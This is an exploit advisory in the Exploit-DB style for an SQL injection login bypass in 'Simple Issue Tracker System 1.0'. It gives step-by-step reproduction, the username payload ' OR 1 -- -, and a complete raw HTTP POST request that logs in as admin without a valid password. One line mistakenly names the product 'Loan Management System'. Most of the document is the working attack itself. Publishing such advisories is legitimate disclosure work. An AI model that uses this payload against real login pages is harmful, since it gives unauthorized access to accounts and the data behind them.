# Exploit Title: Simple Issue Tracker System 1.0 - SQLi Authentication Bypass# Date: 11.10.2021# Exploit Author: Bekir Bugra TURKOGLU# Vendor Homepage: https://www.sourcecodester.com/php/14938/simple-issue-tracker-system-project-using-php-and-sqlite-free-download.html# Software Link: https://www.sourcecodester.com/download-code?nid=14938&title=Simple+Issue+Tracker+System+Project+using+PHP+and+SQLite+Source+Code+Free+Download# Version: 1.0# Tested on: Windows 10, Kali Linux# Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.
Steps To Reproduce:1- Go to the login page http://localhost/issue_tracker/login.php
2- Enter the payload to username field as"admin" or" ' OR 1 -- - "and enter any character in the password field.3- Click on "Login" button and successful login.
PoC
POST /issue_tracker/Actions.php?a=login HTTP/1.1
Host:192.168.0.111
User-Agent: Mozilla/5.0(X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript,*/*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length:31
Origin: http://localhost
Connection: close
Referer: http://localhost/issue_tracker/login.php
Cookie: PHPSESSID=71bod5tipklk329lpsoqkvfcb9
username='+OR+1+--+-&password=1
